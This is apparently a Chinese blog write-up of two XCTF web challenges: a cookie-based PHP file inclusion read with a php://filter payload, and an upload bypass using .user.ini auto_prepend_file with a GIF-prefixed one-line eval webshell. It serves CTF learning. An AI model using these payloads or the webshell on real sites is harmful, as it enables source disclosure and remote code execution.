免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任
**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**
目录
一:攻防世界web-Fileinclude
打开为如下图所示
Flag在flag.php
我们查看源码发现如下
代码审计如下
<?php
// 检查是否开启了错误显示,如果没有,则开启
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
// 设置错误报告级别为显示所有错误
error_reporting(E_ALL);
// 从 cookie 中获取语言设置
$lan = $_COOKIE['language'];
// 如果 cookie 中没有语言设置
if(!$lan) {
// 设置默认语言为 english
@setcookie("language","english");
// 包含英文语言文件
@include("english.php");
} else {
// 如果有语言设置,包含对应的语言文件
@include($lan.".php");
}
// 读取 index.php 文件的内容
$x = file_get_contents('index.php');
// 输出 index.php 文件的内容
echo $x;
?>
所以根据代码审计结果我们得知只有cookie中有相应的语言设置才能得到flag
但是检查发现没有cookie所以我们需要自行利用bp传cookie
构建payload=cookie:language=flag发现页面无输出,所以还是有问题
结合题目fileinclude我们可以试一试php伪协议
Payload:cookie:language=php://filter/read=convert.base64-encode/resource=flag
这里路径为flag而不是flag.php因为根据源代码知$lan=flag 在拼接后面.php才对
成功得到flag
二:攻防世界web-Easyupload
打开为文件上传
我们随便上传一个木马文件发现被干掉所以这里应该是过滤了php
所以我们利用fastcg中.user.ini特性进行任意命令执行
添加如下内容
GIF89a
auto_prepend_file=a.jpg
然后利用bp抓包将这个文件上传记住要将Content-Type: application/octet-stream修改为
Content-Type: image/jpg
上传成功
然后将我们准备好的图片马修改为a.jpg我们试一试图片马看看能不能上传,我们现将php改掉
如果你没有图片马可以自行创建一个内容如下
GIF89a
<?=eval($_REQUEST[c]);?>
修改后如下
<?=eval($_REQUEST[cmd]);?>
上传成功,我们利用蚁剑连接
连接成功
成功拿到flag
所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
三:总结
PHP 伪协议是一组用于访问不同类型资源、执行代码等操作的特殊协议,可在文件包含等场景被利用;而 FastCGI 中的.user.ini 特性允许用户在特定目录下配置 PHP 运行时设置,若配置不当可能引发安全风险,被攻击者利用来执行恶意代码。
(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)